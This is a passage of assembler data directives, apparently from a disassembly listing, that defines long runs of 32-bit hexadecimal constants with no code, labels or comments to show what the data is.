36A1D62Bh, 0B8501A89h dd 8222E223h, 442D702h, 1DC1DF4h, 0F8CB8454h, 6025D687h dd 0B2C4F09Bh, 0CADE0349h, 7F8E34C0h, 85A0FCF1h, 5F833315h dd 0B766EBCh, 71CE0375h, 0F8019325h, 408091A2h, 8E35E9ECh dd 0F41AC0EFh, 0DC6C7C1Ch, 3E35A5FAh, 95BCB23Dh, 0A0CD6569h dd 0DBE790C1h, 0B36157D6h, 2B590020h, 3049248Dh, 21794212h dd 2AEC255Ah, 0BBB99ACh, 1415B50h, 0AE3C4DE4h, 30F5A263h dd 2538969h, 3DCE4099h, 206F2441h, 0DBEE1FCCh, 0D7B8EC00h dd 47783D39h, 9FEA2471h, 0CC31B665h, 53A42BFEh, 7D4BABEh dd 80345AEFh, 81901479h, 542B5D6Bh, 0A6EBE51h, 45F6E204h dd 854DC702h, 1580433h, 800F031Eh, 4B33760Ch, 0ADF43189h dd 29C9482Ah, 0FD2E3AB4h, 21C42DDCh, 470246E3h, 0F1FCD7B9h dd 3798893Ah, 471A8005h, 186A7943h, 2365AEC5h, 6AFF9774h dd 9DD92448h, 4D95D104h, 103F104h, 25ED8529h, 16A24426h dd 25FE4030h, 75C350D8h, 37AA2E69h, 188680ECh, 4C256463h dd 0A8FDDC1Bh, 5FF4A4A4h, 0B9AD5D95h, 80519B4Ah, 0EEE72D8Ch dd 1FA1FE73h, 4027214h, 0A11D9D89h, 1A4292F8h, 181C6EBEh dd 81FF718Dh, 0A2A703C1h, 0D3E97AE6h, 41A0275Ah, 176BB8D6h dd 0DB6A61CFh, 0A351C7E1h, 413578E9h, 679420Eh, 15C70927h dd 0AF28D9DBh, 0D10940B7h, 0E451A4h, 9B9F84E8h, 0F0BC6627h dd 0B31D9640h, 0D5190E1Ah, 74A1B4C3h, 7D6AA97Bh, 7F93BC49h dd 87D10BE7h, 0E2062729h, 0DB95E76Dh, 0F03C7024h, 0F95C6D04h dd 65ED8D09h, 576DA87Ch, 649100CAh, 0C58A69A3h, 2DE06DBEh dd 0C08B2812h, 0CC28BB6Fh, 7AFB5AF4h, 0EED10FBh, 6AEA5784h dd 0F8112042h, 68B585E6h, 2D002FA2h, 5AEBE3B7h, 897DAA78h dd 0F373AB1Dh, 265D4042h, 0DCDAF6BFh, 2070A2FAh, 0F28B621Ah dd 65B0F6E2h, 32A2C203h, 0F1558209h, 52F6092Eh, 0E802864h dd 0A0184E9Ch, 9B2404F4h, 356A782Eh, 70B58801h, 42058EDAh dd 88498D3Ah, 418C0F54h, 8572D780h, 759D8B16h, 33163AE2h dd 87BB87Ch, 610BA995h, 840E8B0Fh, 8D016041h, 7C4C8EE9h dd 61264D22h, 0F99D9790h, 0C0BDCD6Fh, 0F072E251h, 0A006B2C8h dd 2F7528A1h, 9D332567h dd 54491076h, 0D5ADEC5h, 18B25AE6h, 1939F630h, 0F71742CEh dd 4EFCC68Dh, 6DB58982h, 6BD12504h, 29D40253h, 0A19458Dh dd 2015088Eh, 99314125h, 899D0910h, 2CD0864h, 38C9ED9Bh dd 3A308CE1h, 0CDC23120h, 40D39C90h, 543FBA4Fh, 0CB7D5B00h dd 0BFED3A33h, 803A9950h, 5630D219h, 904A0779h, 7A837BDBh dd 1A894E3Ah, 0ADD442B6h, 0CD272D56h, 6B9C1CEh, 0BD33F487h dd 17167D20h, 0E20DFFE9h, 7C3DC4C6h, 0C3CA9A24h, 9C96BC94h dd 0F20037F2h, 0AB80F677h, 0C0058D8h, 0B8403E7Eh, 93E1ACCBh dd 0B161783Dh, 0F675C524h, 24E59D13h, 0C6E1E340h, 0A8B79DE7h dd 5F180280h, 12A3EDD6h, 24B47740h, 9B5195E9h, 46D8C020h dd 250B35BFh, 2A6C4393h, 5BD39A0h, 45887594h, 364C2522h dd 11E922h, 4331367Ch, 0D6BD6D83h, 324C7300h, 0EC8B5FA3h dd 0CC425F88h, 0BD7729DAh, 88BE619Ch, 8F02840Fh, 0B5225DB3h dd 3D7F0A59h, 88D50E9Bh, 15606C41h, 0C080CC5Ah, 0F8372B4Bh dd 61BA8265h, 1304D95h, 636C49E9h, 518D310Ch, 0E8E0B0FBh dd 11E0944h, 186DF473h, 0D4252770h, 0BD5FFCh, 35E4D72Eh dd 27D412Ah, 0F4DEDFD4h, 235B1C99h, 0D207AA42h, 0B3C85007h dd 0BDC49761h, 73971598h, 8529092Fh, 0C18B6768h, 128DBB3Ch dd 42EF3DA9h, 3CDBF00h, 0AFB69A78h, 0D1C82B0Bh, 0EA5100C5h dd 0C989CAFFh, 8B4A660Ah, 0D106D1D8h, 24AA5753h, 0BA65BFEh dd 1DC929B5h, 0A041520h, 0C81631B9h, 2300799Bh, 4B01933Eh dd 1E6E76h, 0D2965205h, 57BB27F7h, 226D5919h, 5C3D8568h dd 96DD9050h, 60BF260Ch, 2F74AEC7h, 10716427h, 7BC4F20h dd 0B7924703h, 0F07A207Eh, 812CC01Bh, 0BB24855Fh, 88D68D16h dd 3E2BE012h, 3B40919Dh, 75BED051h, 6E8C2BCEh, 175369E9h dd 0EB816EB0h, 0B0D7E50Eh, 3CC7C77Bh, 743F7C22h, 890F6255h dd 0D04E5A46h, 2A843091h, 0BD958910h, 9825FF96h, 2CF810Bh dd 6F0B1FCBh, 2985A583h, 8D1881FEh, 79890214h, 0D9C425F3h dd 9926B5FEh, 601C850Fh, 0BAD35967h, 8061F383h, 6A42FE5h dd 1D0AE9h, 0D48AD1B1h, 8250F936h, 6ECB602Dh, 0BCB597D7h dd 8B603E02h, 0E34AC0DAh, 61D90D47h, 7AEAFAB9h, 271E26Fh dd 0CC6F5DABh, 7CFE4538h, 3510BFC8h, 9DFCB740h, 0D012F3B7h dd 0FCD97504h, 49DF9CDBh, 1957B8E5h, 2C23584h, 0BC40D22Bh dd 331AADDEh, 805CD1C2h, 7504E90Eh, 401DBCF4h, 0D68F330Eh dd 0FAEC5D00h, 28C1A416h, 0D6B017Ah, 0FB1039D0h, 86AF47CBh dd 31393588h, 0F6D95595h, 51B94E1h, 2398D81Ch, 7CA18D19h dd 0A76D9F2Dh, 0BC9BC6E0h, 4AFC042Fh, 0C1B8C4FAh, 141488D1h dd 542420FAh, 34FC9830h, 86792700h, 80F1C575h, 5B9316D7h dd 180DF050h, 8C10337h, 608A958Eh, 800F5819h, 664FC104h dd 2FAE26BBh, 0CE80D8DBh, 5B43C9CCh, 0DF36B205h, 0CDC15AB3h dd 222F0611h, 0B82519F9h, 40B17598h, 0E7E28D15h, 51204F41h dd 0FF054025h, 0B94CE162h, 0A7F41922h, 46437BBh, 807FACE9h dd 1A62CB9Dh, 14030A4h, 20628ADFh, 0FC030F11h, 5F8A9A86h dd 2CC0B7EDh, 4F2E4E0h, 33609161h, 0A057EA9Dh, 7AC007E8h dd 0D3B2E6F3h, 49A0D48h, 606159F2h, 0C326EABh, 0F03814B7h dd 6944EA99h, 8DE5437h, 14E8D910h, 0A14B508Ch, 92F704E7h dd 0DB04E180h, 0A26C265h, 8DBB82C9h, 80ACBD01h, 595F011Fh dd 0DCD3C8B9h, 6517A04h, 29E858E9h, 0DC02FEFEh, 0E5853077h dd 2EB66DDh, 0A1962311h, 940F476h, 331707ADh, 0B4402985h dd 0E0E7EF81h, 504A121Eh, 0A618958Ah, 0F0F3E3AEh, 2929A9Dh dd 0B509576Ch, 0F8021A11h, 4009726Ah, 90BF5221h, 0FD4C91h dd 0E1F16AD8h, 5BC69BA0h, 0FB36807h, 8F342E64h, 0CC8AAAh dd 1913ECE4h, 1BDD7Ch, 5A228F3Fh, 9E14ADA9h, 24348101h dd 2E7B0C4Ch, 7EB9AA29h, 8DCDAE94h, 132AA971h, 998E0402h dd 169EAA2Dh, 0D5CA8380h, 330B1836h, 98548A51h, 1F96ADC4h dd 0CB2578BBh, 7304F3B8h, 5F534702h, 25AFD019h, 0E3EDE7F8h dd 7B7F38E0h, 0B3D9958Ah, 1BAE904h, 7AC159DEh, 20F58243h dd 9DD69D6Ah, 19255304h, 180BC70Eh, 0F6018B19h, 0A15040FAh dd 35279D18h, 45C8A51Bh, 9954B259h, 6FFFE4C3h, 0AB480089h dd 314FB320h, 8D7E5C9Ah, 41C4335Bh, 5EC4A758h, 2E0E3F6h dd 0B3053035h, 0BE9E5B5Fh, 849DBB83h, 0F630DA49h, 495C8D09h dd 44685E5h, 0BB8D6BDh, 96185A1Dh, 0FFA64EB9h, 77E13EF0h dd 0D2949F16h, 0C615A5A1h, 0CDC0D09Bh, 12E31071h, 686DCC07h dd 0B930C07Ch, 988159B3h, 4383022Fh, 8DF846B6h, 1864634Dh dd 58B89760h, 0BB556C00h, 5DE31ECAh, 789B090h, 13BF6650h dd 19378935h, 886F5980h, 259E6ACFh, 808AE6BFh, 876CBFDh dd 0D38D1CDCh, 0C005D231h, 0C2DB80F0h, 376E614Ah, 9AA56418h dd 0F402BBFBh, 0C734209Ah, 0D107E685h, 28BDB02Fh, 0CF0216D3h dd 416D7CF0h, 0D6832006h, 423C615Ch, 2D7B59E1h, 0D821F35Eh dd 0CB161988h, 1608293Fh, 4FE90B0Ah, 5FDA4873h, 8EE2D381h dd 1E5F731Dh, 9D4062EAh, 0BFDB44Ch, 9DD295BDh, 30505F07h dd 4407110Ch, 0E8C10130h, 0EA4F510h, 894C1FC4h, 0DC485803h dd 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h, 58180621h dd 57016813h, 5903491Bh, 0D4AA80C0h, 2B96C277h, 8503B8F6h dd 7B958635h, 36BF5091h, 8880204h, 85A014DFh, 0AE828219h dd 452925h, 5F03FC89h, 28012C3Dh, 1B2D9D8Bh, 13478404h dd 80FEE82Fh, 0A2EFDCD6h, 80510089h, 3FAD42BCh, 0B0B26E1h dd 0D4C40754h, 0AEAB042Dh, 4DDF05Fh, 419AEBBCh, 993B615Dh dd 106C710h, 330484E1h, 0F8A0219Dh, 8E0F2C96h, 14B741BDh dd 0F2B52150h, 49377Dh, 312AF5Bh, 0A56659Dh, 0CBB65F71h dd 52E2D0E3h, 0B77D907Dh, 39902DEh, 5BBA1B92h, 2A098081h dd 81315BE4h, 0BB66387Ah, 9B5920CDh, 0CCB8B569h, 104A7204h dd 7C4009E9h, 0F4A230DEh, 0F9C7120Ah, 963AE017h, 9A05B915h dd 5F6F3165h, 0A8A08512h, 760D22ADh, 64D2709h, 0C486A2C8h dd 72DE3AE1h, 4B55E393h, 6EAEBB34h, 82800A7h, 94CC8B7Fh dd 5C517009h, 0A45A256Dh, 8313F853h, 1BC04C2h, 205089C2h dd 0E3B569ECh, 0B3894C32h, 0A20CD412h, 322F2013h, 0B8FE6CB3h dd 931A911Fh, 0C48C32EAh, 7EA14761h, 3C7ADD52h, 2347E1Fh dd 0B0C1DC10h, 1610960h, 856C3185h, 81C2040Ah, 0BF3AF9DEh dd 0CD12FEFEh, 0E821500Ch, 46972434h, 67288420h, 0E2F22660h dd 7468D5BDh, 0EB068161h, 6D6AAECAh, 90115E60h, 0DF9BDBCh dd 5446F89Ch, 82605FC5h, 2B001DE1h, 0CD2EC595h, 8885504Fh dd 271E5925h, 3B00A064h, 359352F0h, 2DC812C7h, 0CE44F253h dd 0EEA37300h, 30E71FD7h, 31BB0095h, 0ED703EAEh, 592A438Dh dd 2E7F1761h, 639BAB00h, 0DF8DB139h, 0C2381C03h, 465ECA1Fh dd 0F380417Eh, 7DE0881Eh, 13C22802h, 48783D3h, 0CACD9BF6h dd 789A4B56h, 7CA6580h, 4C047EAAh, 53F20ECFh, 0C07427AFh dd 0C2E5CF9h, 0C0057400h, 1E3E94CBh, 0C3810015h, 326B02B0h dd 1019BF5Bh, 71B12052h, 9BCB126Eh, 8E30825Ah, 90EAFE03h dd 226E580Bh, 302149C2h, 6BF10228h, 0FFCD3D62h, 0D986D5C0h dd 564C01FCh, 0AEFE7ABBh, 9D9A421Dh, 7890E7F2h, 251EB520h dd 7F73C6F9h, 669ED0h, 0C6AEC941h, 93BCBFB4h, 0E5200B98h dd 85C7130Dh, 705BEC71h dd 6455EF9Dh, 0FDA98392h, 23E9590Bh, 0F40476F3h, 0C44DDC05h dd 0C3B19005h, 130C1C9h, 0CF61D0D5h, 9B73957Bh, 0E2FE8B09h dd 0E0BA4D5Dh, 0F1A9965Bh, 1E2661Fh, 0BF4CF4C0h, 6C169323h dd 0DF76546Ah, 648D0BCBh, 0D6BF0049h, 0B52957DEh, 90CD1F11h dd 8CC09E5Fh, 523797E8h, 0CDCE0A80h, 781C13Fh, 0DF7DB4CFh dd 2DCB600Ch, 644FF2E5h, 0FC158620h, 0AF460068h, 0A08C7017h dd 9409BF1Ch, 78B5A9B2h, 8EA1A006h, 58920718h, 1B9D0156h dd 905B0322h, 4D0A807Fh, 8006F921h, 0ACA1585Ah, 1476FED8h dd 973DE10h, 1DBD0B61h, 0DE5EE4E3h, 209D5D98h, 0D09002DDh dd 92CF6948h, 0FE6FBBh, 88571F87h, 97F88FC7h, 1D91FF35h dd 0AD506A80h, 6F024515h, 0F6286D44h, 57888C23h, 8DFA388Bh dd 0F23BA3DEh, 1C16301Ah, 3027551Ch, 0D1FF93C4h, 63A203BCh dd 35D22B27h, 287B3218h, 1D61150h, 0C95BD03Fh, 420A6730h dd 0C65550DDh, 855E5EF9h, 8974F296h, 3E195D61h, 0E5CC3ADDh dd 89035890h, 0B29B2520h, 3051B584h, 0B8A0E904h, 8C0AE1CDh dd 0F729C304h, 745EFB9Ah, 8DCF4BDCh, 6E202E95h, 0EFF8E3h dd 54F40CAEh, 55C2DE3Eh, 0F96A4590h, 0BB8171B5h, 3B2F6FC3h dd 53E205h, 1E549449h, 1F5B4853h, 8E0FB5C1h, 55F26160h dd 3F069084h, 3F402559h, 5FC44E80h, 0E780E200h, 3894BDCBh dd 0C86C01FDh, 0CA8D2A7Dh, 2FC73EBFh, 0D1B6FE40h, 565F6414h dd 96A9B990h, 0A803DF08h, 98F84BB5h, 0BF05FCA6h, 127B268h dd 0FB2764EBh, 64860C4h, 0FF6A092Ch, 5B809137h, 894CE084h dd 75780BEBh, 7FF84D87h, 3BBB2D96h, 0CFA05C6Dh, 957A9206h dd 553D100h, 9DD38275h, 0F640D09Ch, 2C66B85h, 0B38197AFh dd 0C35C5BC7h, 435412C4h, 0B058F45Bh, 6A02BFE0h, 0E6324298h dd 288FFF70h, 0BAA271CBh, 0EC77246Dh, 547997D0h, 0C9B96164h dd 4CADF29h, 0AAF5C8B6h, 58BF648Ch, 894850F8h, 0FC161116h dd 0C4B38419h, 9DD742FAh, 0EC57198Dh, 90550148h, 8603ED36h dd 5AC83E6Fh, 0C7C84B2Bh, 7A562909h, 3D03B23Dh, 0FC8A2202h dd 99D614E2h, 0BD9D2B82h, 4B845229h, 87B85DFh, 0F59A01FDh dd 2433A814h, 72F88B09h, 0E921447Eh, 1241344h, 224E067Eh dd 0DCA564E3h, 481E9995h, 43023151h, 795B23C4h, 98626CEh dd 2B74D4E2h, 0E335626Dh, 377F222Bh, 0A5A5FC27h, 3DFE150Ah dd 0B3D91780h, 386D2316h, 4D1E715Dh, 0CBBBC0A0h, 328B05C1h dd 12B723B8h, 914F831Ah, 0E60D4902h, 98CCA4Ah, 0F5E8187Bh dd 739FF737h, 531D95h, 50218AACh, 7F9981Ah, 9314D0D2h dd 15A760B7h, 0F52ED617h, 0C912EE66h, 1E5FA2E2h, 0E14D92E8h dd 247B3FAFh, 0E5050273h, 0D26B95Dh, 1FE63DDDh, 806F012Dh dd 8FDC922Ah, 696A8AA0h, 916C077Ch, 2CA971C9h, 1E850874h dd 10F1D83Bh, 8C4A2649h, 48BD8599h, 99BAF80Ch, 0C8E8871h dd 0ADBC8845h, 4A8FA9D3h, 9B5F8CCFh, 0FF8480A6h, 0FD33E4h dd 0E161465h, 2B59509h, 3938BF80h, 894B0B26h, 0E5C82EA1h dd 0D59B0025h, 32E7C19Dh, 390694BCh, 8F4104Ch, 0E8D2734h dd 3C82F71Ah, 0B25C2AADh, 93C781E0h, 207325A3h, 0DB6979C5h dd 85D47096h, 40C4512Dh, 1224BB14h, 0E2133902h, 0C63D8971h dd 0A712053h, 0C2FDE581h, 0E6356105h, 0C727EB04h, 53CB7DB8h dd 2E40EA5Eh, 362FC87h, 0DF1CC020h, 18995CD8h, 285BC592h dd 0E1FF0A19h, 2A169529h, 958B53DDh, 19D4049Bh, 0B28304F4h dd 81D639AEh, 58150D4Fh, 0CC830133h, 9FEC89B9h, 6E1F8804h dd 99C4FE25h, 0DBE032AEh, 1651C05Ch, 3F60FC11h, 9880569Bh dd 6F0B8F1Eh, 943E6A00h, 0BD2B8063h, 3E1C4539h, 0AAC05D9Eh dd 79FDDF27h, 4B58DC38h, 8D298F80h, 0B4C9D205h, 14F4F79h dd 0BAA422A7h, 4060B7C2h, 99022131h, 252490D8h, 9C8C4661h dd 526625D4h, 0BB0B567Ah, 905F0527h, 20A7D9E4h, 514A358Eh dd 0D9886435h, 836C960h, 0D725E6D0h, 0DE2CDE61h, 0B8CFA60Ah dd 510BBDA0h, 0D1819009h, 0F0298104h, 15F90879h, 1806EFAh dd 0BFA67F8Dh, 19E1E6BEh, 12E98A31h, 3872E802h, 1F03FF1Ch dd 0D0A5DC32h, 31CDEA6Ch, 0B3578B63h, 0B087DB01h, 4AAB4189h dd 0F9BF6FA0h, 4509D175h, 50FD8A58h, 9B6FB564h, 21BA406Eh dd 66B060h, 0E0576733h, 5C59531h, 29EDBB92h, 58CC4A47h dd 0DE109F60h, 0A200D60Ah, 0D1DDE2EAh, 16A380BEh, 0CD867A65h dd 0ED716067h, 0E96100E7h, 0BFDB9F9h, 0A2293585h, 8BA03B59h dd 602CB7F2h, 27185803h, 9761D123h, 2EFB4331h, 24FD3F35h dd 4205ADB8h, 9F2272F4h, 499221AFh, 358C3B41h, 1602726Bh dd 94DAF1B5h, 0EE34AF05h, 2E6CBCC0h, 5F542DE4h, 8A257946h dd 9780C6D9h, 0ADEAD6E4h, 0CEA99D03h, 573D380h, 0F96006AAh dd 3870929h, 362B112h, 0C9B7942Ah, 41EF3D58h, 21EF9A4h dd 0A545595Bh, 0A8897A42h, 7300E6F9h, 0F1392302h, 0BF73996h dd 598EE601h, 0F96AAB3Ah, 80426CB4h, 0AC8374E2h, 31A53DB9h dd 0F2472380h, 5FDE0512h, 93615C2Dh, 1225AACAh, 51DBE529h dd 1EAA478h, 7EB556D4h, 0EEB6CE25h, 89D846C1h, 36243568h dd 0DFFD25ACh, 0A1616FD4h, 0F6404711h, 3F1319C0h, 4182D414h dd 9565247Bh, 0AA15C798h, 544EEAF4h, 0CA4DA520h, 2CDD077Fh dd 195FA8C0h, 4A5D519h, 0AD806FFCh, 494ECF8Ch, 91B7BC09h dd 0D8DE125Fh, 8DC64A4Dh, 0C561E947h, 4DB3A58h, 0B8232584h dd 0B589C1BFh, 0A86906D5h, 4DA7DE21h, 2142404Ah, 0EB056698h dd 947905FFh, 0F428AD05h, 12005BA2h, 0E55827EDh, 0A8004972h dd 4470DF84h, 9B7CFFCCh, 81D264Fh, 61041871h, 95E853F8h dd 7C15CA80h, 73032439h, 0D88B591Ah, 81B88C5Bh, 45B509B0h dd 1495239Ah, 9D3E705Ch, 49D05153h, 27E976EFh, 4D90B06Ah dd 44F25D5Ch, 8EF4FE00h, 0FABCD83Fh, 0A1952A89h, 5DE948B6h dd 0B8D98B84h, 4794EB3Ch, 481BF18h, 0AA0B01F1h, 37610A70h dd 0AEA482B0h, 0A4E1633Bh, 85110ADAh, 0DE206540h, 0A6ADDC2Dh dd 75D224F3h, 57FC5642h, 0F1110269h, 520F540Eh, 8909D74Ch dd 0E82349BDh, 8127A5BBh, 38352E61h, 0EBE4DDB6h, 9401F88h dd 46421761h, 0BFA0BC59h, 0C63F1125h, 7003BB5Bh, 0C2010F76h dd 4916695Ch, 5C89FD54h, 0D80132D8h, 239636F4h, 0DB1500B6h dd 2B03C00Dh, 13394C4Fh, 53505B09h, 0D5EEDBE4h, 0A7934405h dd 0A2BC849Fh, 967E09D2h, 3DCD37Eh, 85AC6FBDh, 2A9F339h dd 9C6B2E47h, 0F4001B23h, 0ABA2F1ADh, 0FB382632h, 0C4691681h dd 0C39AAC6Ch, 0B4FD9D33h, 6ED71ABDh, 4A804D87h, 9B3D6BDDh dd 0B5E62EA9h, 0F3816602h, 675C0EAFh, 0B19D8B60h, 73AB71Eh dd 0B0804BB7h, 1660179Fh, 0A05D04C2h, 8450D7C7h, 19CBBB8Ah dd 53C25F25h, 4DCDB7Eh, 0D98D01C4h, 0A5B09717h, 0B82AAD20h dd 0C5D52793h, 8756CE1Ah, 0DC8BD469h, 0D148A00h, 8409A153h dd 0AE9226Eh, 466FBB5h, 0B814BD4Bh, 0B6A75FB1h, 3CC900B5h dd 49EC7A0Bh, 202DCD90h, 0D72727A8h, 888DFEF4h, 0F0FDA66Eh dd 0E7C6623h, 0D7640560h, 0E3BFC165h, 3DAD4CF6h, 22E60396h dd 0BC503555h, 19D6EFFh, 0B74A1307h, 2A3A67A6h, 94748480h dd 0A9D3CCB8h, 1AFB841h, 99295110h, 6B7F03F4h, 413DABF0h dd 613E3402h, 45FA1497h, 0F1C26A12h, 8A500124h, 626C28D9h dd 742BF946h, 0AE0457F6h, 0D3B8F838h, 19BD29C1h, 3E305904h dd 8200B1B3h, 38A4DF18h dd 500085EDh, 362371BEh, 3C033B0Eh, 20CA7DF4h, 192A0163h dd 2C48527h, 0A1A45DAh, 0A8D80136h, 2E5B61BDh, 0F26BBD75h dd 0B0149773h, 78893A45h, 89732B09h, 1F789BA3h, 55D0A2BBh dd 62237F27h, 0C6052D75h, 71FEDF49h, 79F06988h, 53E92BC4h dd 0B04B6CB8h, 0C7BF1C31h, 601AE41Eh, 83D09h, 0C9114B7Ah dd 24659D2Bh, 0B1C5FB95h, 11BD118h, 0F5C95090h, 504970A8h dd 2EF805FFh, 4C489D31h, 9A2FC740h, 0ECEE9E8h, 3A0B892Bh dd 2F7D8604h, 0E2506104h, 8D9B005Ah, 0A2F94831h, 0A14F03A3h dd 63C3EA2Dh, 0C22879A8h, 16112F5Ch, 53FB2173h, 0E085B660h dd 92923B2h, 46A6CEBBh, 0D1446D5Ch, 104D26EFh, 46FDA5F3h dd 0C78102FCh, 4C58BC0Ch, 35E9D556h, 0CA689FAFh, 12D962B1h dd 0DE50C832h, 48E4C607h, 2EB5B2h, 21190EC4h, 521C0085h dd 0BD2BD1FFh, 67951D69h, 513B11F2h, 2A0DC917h, 19C8F2CFh dd 0FCFB83C0h, 0EEFB016h, 50FAD380h, 6492C234h, 0E95690D4h dd 96950E8Eh, 9AD12FC7h, 82D05ADBh, 7AA50028h, 746DD8C6h dd 0B5792964h, 9D0490B9h, 9EAA0235h, 0E99882A4h, 9D87614h dd 8E565BFAh, 4E1A46D6h, 5FE90232h, 0EB0CFE6Eh, 7290B1BDh dd 390D1DBBh, 0F87BA5Bh, 0D973ED3Bh, 0BDCC67Ch, 860F3A28h dd 834278E4h, 0E9FC25Fh, 230BE802h, 0D5D8E5C9h, 0EC046693h dd 2D8D5F95h, 0EDA111FFh, 19329779h, 16A637DFh, 1F8EC1B6h dd 61EA609Fh, 60343297h, 9F0DB929h, 0DE6988D9h, 6A27D43Dh dd 0AD75D9ECh, 1C655FF8h, 548CFF53h, 822900B8h, 2E41457Fh dd 0CA6F2C5Fh, 772A209Eh, 5813229Eh, 111672F7h, 0E862BD18h dd 2F8C4841h, 27CCDA25h, 890F11F5h, 205A8832h, 1F3D7654h dd 176D8D00h, 29582B5Eh, 0D21A1AE2h, 43D7B0h, 70E6D614h dd 990B1EB0h, 0F9A07112h, 91394B24h, 0C013129h, 4534B829h dd 41950D21h, 2A0ED5ACh, 203FF2D9h, 12DCAB9Bh, 0CE605F07h dd 0FC5254Bh, 0BB8220AAh, 202C9703h, 60255174h, 0BD8D314Ah dd 4E5AA829h, 0C82BDF12h, 0A4038B08h, 4B49162Fh, 80924513h dd 1F986475h, 0D6615A57h, 55F388D1h, 6F28FC00h, 9FDA0321h dd 82E72491h, 0F038025Ch, 73D9E949h, 0DF54D701h, 0ED60424Ah dd 0ED254FC5h, 0B0788021h, 9747E6EEh, 997630Ah, 0DE562221h dd 15955E4Bh, 5B25B8A5h, 122C62C9h, 0E57BC151h, 0E95F3586h dd 449F1B78h, 141F0038h, 0D531980h, 20068A8h, 44EAF4BAh dd 18DA267Eh, 48327264h, 69D60A19h, 51CB7CECh, 0E5DB9B18h dd 80EED33Dh, 0C060914Eh, 76675Ch, 1C3EA262h, 0DEB768FDh dd 34C5F71h, 0E6B57091h, 28842299h, 0A36FA794h, 2803F985h dd 483DA52Bh, 0E7092FFEh, 3BDC8919h, 4BD9AA4Ch, 107B8A1Dh dd 8159272Ah, 3FA3E55Ah, 0B6C52F9Bh, 0E6D630E5h, 0A725D421h dd 0BF67CE06h, 44251F35h, 538025ABh, 0B17795E4h, 852A6500h dd 28637CD7h, 1CD6049Ch, 0A40817B9h, 2F4BE1BEh, 0BA305389h dd 0DE1841B1h, 0D970F35Bh, 43A500E3h, 4F6DF597h, 5995870Fh dd 0A79A407Ah, 91C3BBCh, 0E3EEC02Bh, 277C5969h, 0EF8BA5E1h dd 89F7EFA0h, 0CD5BE825h, 6735A775h, 209F780h, 4F87F5D1h dd 80229BCDh, 0F3EE7BDh, 0CBD704FAh, 0B8F8494Dh, 16F938Eh dd 0A8C8EB13h, 1E34C0DAh, 4FED6DB3h, 0F94B75F5h, 0E66EA9D3h dd 0C4D7007Ah, 0FD8414BFh, 26BAB30Ch, 1E6D096Bh, 535A815Ch dd 5095535Eh, 0B2924069h, 81F6F4F0h, 5E638AA0h, 0AB359F05h dd 4BB2DBFh, 92AE1E5h, 44F471F9h, 0C7804147h, 0F7C2B814h dd 0B69C94BDh, 7FC14F8Bh, 5010888Eh, 4ED2DF6Ch, 0B938CADh dd 1A04E1ADh, 64BB4005h, 976546C6h, 9D44FE14h, 0D91497F5h dd 7520AA45h, 0BF1BC071h, 1056C278h, 44BA1497h, 0E9FA2B5Ch dd 74198BB7h, 7C02DEE1h, 0FAADDF57h, 0B1B682EDh, 0B8F40C03h dd 4725812h, 0B62FC1E1h, 0CED7E087h, 0F1664E10h, 39983F54h dd 14FD209Dh, 0DBCB8B95h, 0A6BC70DEh, 630E6E13h, 7C4F3C0Fh dd 0EBE42592h, 0AE73BD69h, 7D09D8h, 0BF7C13A1h, 725B5D67h dd 9D66CE95h, 2740244Dh, 26F44354h, 17B9E380h, 19CB8C81h dd 342E2D41h, 0F3D8AF0Fh, 0D36554BDh, 26519D90h, 39920900h dd 2EC80AE2h, 9B9F53Bh, 5138E954h, 6813AA02h, 0F8F05B52h dd 0ED744AB7h, 75D9208Fh, 0DAF96B90h, 212625Eh, 608D23B3h dd 0DBF33F40h, 3CBE0860h, 2465C995h, 7E178A13h, 0AC006DB2h dd 0F4A34180h, 360003DDh, 0EC34C62Eh, 1456483h, 615E22D8h dd 2B49B750h, 0EFA0245Bh, 52121F7Eh, 738C95FDh, 1A26B77Ah dd 0BF60315Ah, 7A9C26F6h, 79379729h, 4A1CDD00h, 1218D99Ah dd 0A35BF957h, 0CF8103D8h, 0F54CB66Eh, 5EF2BDB1h, 0CB5CE902h dd 0E9742701h, 0FBC201EBh, 2A5D7862h, 63FE6D0Eh, 0DC440432h dd 0A99305BCh, 0E21EBC3Dh, 0CD4D4B75h, 5A6E6A16h, 53EB1931h dd 35302F1Bh, 4A45BD33h, 0D76EE201h, 0B8A09BE6h, 91BC0689h dd 0F0E43ADCh, 86F3A6E1h, 76E326F5h, 12C4DF4Bh, 0D024C6Bh dd 0B2C147BFh, 6B6063C1h, 0BBCF9B20h, 21821DC3h, 413A8058h dd 3CE4AA55h, 0EC849700h, 2373DBB3h, 4B70BEh, 665E4013h dd 610F56B9h, 2942AEB6h, 0EB4CD515h, 0D9F8DD01h, 0BD9F56AEh dd 6C275EC2h, 0D301CBE6h, 3BFE68CCh, 0EE74241h, 5E38014Ch dd 30726FF7h, 0FC94D07Ch, 7A6348A3h, 72091D27h, 70A5B259h dd 90F48833h, 78BB0066h, 12BF50FAh, 0EEEB052Ah, 0E705FF3h dd 0B2780292h, 4DECBE05h, 0C7007E66h, 6E418544h, 7F1353F7h dd 1862CB6h, 9EE51569h, 6A735F25h, 61181459h, 2690F6DFh dd 0B407384Ch, 0DB38A39Eh, 809879B7h, 9518F18h, 6CC51EAEh dd 5C0038C4h, 0EDF1BED0h, 4AB5EB44h, 0A82C3271h, 9D801E57h dd 9303FBB5h, 9AB97F86h, 0C1B0FEB5h, 2F201985h, 8A182638h dd 5E8A4B98h, 0E4AC2003h, 0ED8F790Eh, 316B9ADh, 0B8D1D49Dh dd 1E94EB00h, 0AD0AAD16h, 30C9E977h, 0B7A5046Fh, 0A3FAB8D8h dd 0DA7BA5EBh, 59A14300h, 8B14FB1Bh, 16D04BE7h, 0DFFD03BBh dd 0E8006CE8h, 1B8763A9h, 5083F419h, 5F7DE32Ch, 23F46F23h dd 7750AD14h, 0C6250B9Eh, 5ABB0429h, 0BA1055E0h, 5C65E582h dd 26376C4Ah, 6B0F5C82h, 8D103F4Ch, 963E1C59h, 0B882B9F8h dd 9F4B2D9Eh, 844D6750h, 0F0353EC3h, 50BF4BD8h, 0E2A6BE9h dd 763F0CA7h, 9500EFB2h, 0B1A956E0h, 67F4021Dh, 4A5B7B5Eh dd 89C0B85Eh, 0B718299Dh, 1EE2D7B0h, 0AA509100h, 0B05E9A11h dd 0BB8497D4h, 0A4D3B809h, 52D78CFEh, 5B4BE5B8h, 7ABEBF94h dd 0D90071BAh, 9785EA17h, 4CB05057h, 8273EE23h, 0D26EC256h dd 0EC8F3A8h, 565B9780h, 471DC2h, 5893C79Ch, 263EEC81h dd 8C9CF57Eh, 0D44A56E9h, 